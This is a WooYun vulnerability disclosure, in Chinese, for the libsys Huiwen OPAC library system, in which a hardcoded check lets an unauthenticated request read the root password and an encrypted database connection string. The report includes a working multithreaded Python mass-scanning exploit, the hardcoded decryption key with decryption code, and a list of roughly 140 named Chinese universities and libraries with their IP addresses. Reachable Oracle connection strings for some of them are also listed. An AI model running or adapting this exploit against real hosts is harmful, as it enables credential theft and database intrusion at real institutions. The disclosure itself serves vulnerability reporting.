当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132607

漏洞标题:libsys图书管理系统可读取数据库密文(可解密)

相关厂商:libsys.com.cn

漏洞作者: 1c3z

提交时间:2015-08-11 11:20

修复时间:2015-11-10 17:42

公开时间:2015-11-10 17:42

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-11: 细节已通知厂商并且等待厂商处理中
2015-08-12: 厂商已经确认,细节仅向厂商公开
2015-08-15: 细节向第三方安全合作伙伴开放
2015-10-06: 细节向核心白帽子及相关领域专家公开
2015-10-16: 细节向普通白帽子公开
2015-10-26: 细节向实习白帽子公开
2015-11-10: 细节向公众公开

简要描述:

oracle数据库
还好,大部分都不能直接从外网连接
默认密码很严重

详细说明:

从官网http://www.libsys.com.cn/download/opac50_20131223.zip 下载

//opac/ajax_libsys_view.php
//这个文件的权限验证
$pwd = $_REQUEST['code'];
$crc = $_REQUEST['crc'];
$date = strrev( date( "md" ) );
if ( $pwd != "huiwen_opac" || $date != $crc )
{
echo "ERROR";
return;
}
//...
//....
//读数据库的管理密码
$strSql = "SELECT password FROM lib_worker where wkr_no='ROOT' ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$root = $stmt->fetch( );
$ary[] = array(
"RT" => $root['PASSWORD']
);
/....省略
//打印出来
$ary[] = array(
"D_B" => encrypt( $user."/".$password."@".$host.":".$port."/".$sid, $key )
);
foreach ( $ary as $item )
{
print_r( $item );
echo "<br/>";
}


然后访问
opac/ajax_libsys_view.php?code=huiwen_opac&crc=和日期有关
可以读出加密的数据库用户名,密码

选区_139.png


遍历:
#!/usr/bin/python
from multiprocessing.dummy import Pool as ThreadPool
import urllib2
import socket
import re
def req(url):
html = ""
socket.setdefaulttimeout(5)
try:
res = urllib2.urlopen(url)
html = res.read()
except Exception, e:
pass
return html

def poc(ip):
payload = "opac/ajax_libsys_view.php?code=huiwen_opac&crc=8080"
url = "http://{0}:8080/{1}".format(ip,payload)
html = req(url)
db_string = re.findall(r'\[D_B\]\s=>\s(.+)', html)
school_name = re.findall(r'\[01\]\s=>\s(.+)', html)
if db_string and school_name:
file('db_string_8080','a').write(db_string[0]+ '\n')
file('ip_school_8080','a').write(ip + '\t' + school_name[0]+' \n')
print 'Vulnerable'

return False
def main():
pool = ThreadPool(20)
targets = [ip.strip() for ip in file('hosts.txt')]
pool.map(poc, targets)
pool.close()
pool.join()
main()


然后利用common.ed.php的就可以解密出来了。。
密钥在conn.php文件里
$key = "Huiwen_Libsys_OPAC";
$file = file("db_string");
foreach($file as &$line) {
echo decrypt( trim($line),$key).'<br/>';
}


下面是受影响学校
80端口
202.192.1.40 南方医科大学
122.224.231.89 浙江医学高等专科学校
222.192.254.209 南京信息职业技术学院
210.28.225.198 江苏工程职业技术学院
202.207.250.5 太原理工大学
202.118.72.80 大连理工大学
202.202.43.84 重庆邮电大学
211.85.197.7 武汉轻工大学
121.192.60.10 浙江财经学院东方学院
61.155.101.2 镇江市图书馆
202.203.132.141 西南林业大学
202.195.243.100 南京农业大学
202.110.184.109 华中科技大学同济医学院附属同济医院
202.195.229.81 南京信息工程大学
222.195.226.30 中国海洋大学
221.226.41.107 南京市高淳区图书馆
211.70.1.5 南通航运职业技术学院
218.199.187.110 武汉工程大学
61.138.78.61 呼伦贝尔学院
123.178.101.50 呼伦贝尔学院
218.92.178.116 盐城市图书馆
202.200.151.19 西安建筑科技大学
202.206.242.99 燕山大学
122.225.78.10 浙江财经学院东方学院
202.113.20.249 南开大学图书馆
112.25.190.150 南京信息工程大学
58.194.172.34 山东大学
202.120.189.133 同济大学
210.34.4.92 厦门大学
8080端口
218.3.122.89 镇江高等专科学校
218.94.132.195 江苏经贸职业技术学院
59.73.148.12 沈阳航空航天大学
222.92.69.104 沙洲职业工学院
211.87.113.2 徐州工程学院
1.51.45.61 常州大学怀德学院
222.17.128.54 琼州学院
218.195.234.25 新疆大学
211.140.143.32 金华职业技术学院
59.73.126.137 辽宁科技大学
58.216.225.57 常州旅游商贸高等职业技术学校
211.64.8.49 山东政法学院
219.230.178.14 江苏信息职业技术学院
222.187.124.37 徐州幼儿师范高等专科学校
219.219.117.11 南京大学金陵学院
218.205.243.214 西昌学院
210.73.154.52 江苏省农业科学院图书馆
222.194.1.190 哈尔滨工业大学(威海)
211.80.185.135 福建工程学院
219.217.211.9 东北农业大学
218.195.234.46 新疆大学
219.230.40.3 常州纺织服装职业技术学院
210.34.85.114 福建农林大学
210.32.33.229 杭州电子科技大学
210.47.221.35 辽宁师范大学
210.44.232.47 枣庄学院
218.93.117.83 常州工学院
219.216.227.196 辽宁对外经贸学院
210.47.255.5 大连医科大学
210.44.1.6 山东师范大学
210.44.48.52 青岛农业大学
210.32.33.91 杭州电子科技大学
210.44.192.169 泰山学院
210.35.74.170 上海对外经贸大学
210.28.182.151 盐城师范学院
210.29.94.6 镇江高等专科学校
210.28.15.3 南京化工职业技术学院
210.29.99.7 河海大学常州校区
210.28.182.152 盐城师范学院
210.28.165.111 常熟理工学院
218.3.215.249 徐州经贸高等职业学校
202.205.72.204 中国政法大学
222.25.12.227 西安工业大学
211.70.105.96 常州工学院
218.0.6.10 浙江工商职业技术学院
202.205.213.113 中央财经大学
211.70.121.68 常州轻工职业技术学院
211.64.241.118 临沂大学
202.117.255.187 西北工业大学
210.26.16.40 兰州工业学院
202.206.108.2 河北师范大学
202.206.108.200 河北师范大学
202.120.146.14 东华大学
210.28.182.153 盐城师范学院
202.116.41.246 华南师范大学
202.196.13.14 郑州轻工业学院
210.45.242.5 合肥工业大学
210.44.64.141 潍坊学院
210.42.250.7 河南师范大学
202.194.40.71 山东大学(威海)
202.121.96.144 上海外国语大学
202.195.72.37 江苏师范大学
122.225.19.22 同济大学浙江学院
202.115.151.118 西华大学
202.117.71.151 长安大学图书馆
121.250.23.11 山东艺术学院
210.28.216.238 江苏广播电视大学
210.29.94.36 镇江高等专科学校
120.35.9.221 福建幼儿师范高等专科学校
202.119.83.14 南京理工大学
125.88.25.204 华南农业大学
202.116.174.108 华南农业大学
202.116.174.99 华南农业大学
119.145.248.40 中山火炬职业技术学院
61.174.215.232 绍兴文理学院元培学院
61.177.190.20 扬州市图书馆
202.121.244.68 上海旅游高等专科学校
202.114.181.3 湖北工业大学
124.93.222.217 大连医科大学中山学院
202.200.188.3 西安工程大学
59.73.126.136 辽宁科技大学
112.14.176.145 宁波大红鹰学院
117.40.29.74 江西中医药大学
202.194.107.3 山东工商学院
111.115.52.2 西北师范大学
210.29.144.41 南京晓庄学院
116.208.0.96 襄阳职业技术学院
202.112.134.140 北京航空航天大学
61.174.215.238 绍兴文理学院
113.140.12.170 西安工业大学北方信息工程学院
202.112.227.20 北京印刷学院
202.195.60.181 扬州大学
202.121.55.6 上海师范大学
61.145.231.35 广东科学技术职业学院
202.121.32.140 上海中医药大学
61.150.69.38 西安科技大学
61.183.20.7 湖北汽车工业学院
下面使可以直接连接的
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/libxzit
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/xdlib
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
libsys/[email protected]:1521/orcl
其他也许在学校内网能直连吧。。

漏洞证明:

选区_141.png

修复方案:

做好权限验证
自己 写的加密是不安全的

版权声明:转载请注明来源 1c3z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-12 17:41

厂商回复:

多谢

最新状态:

暂无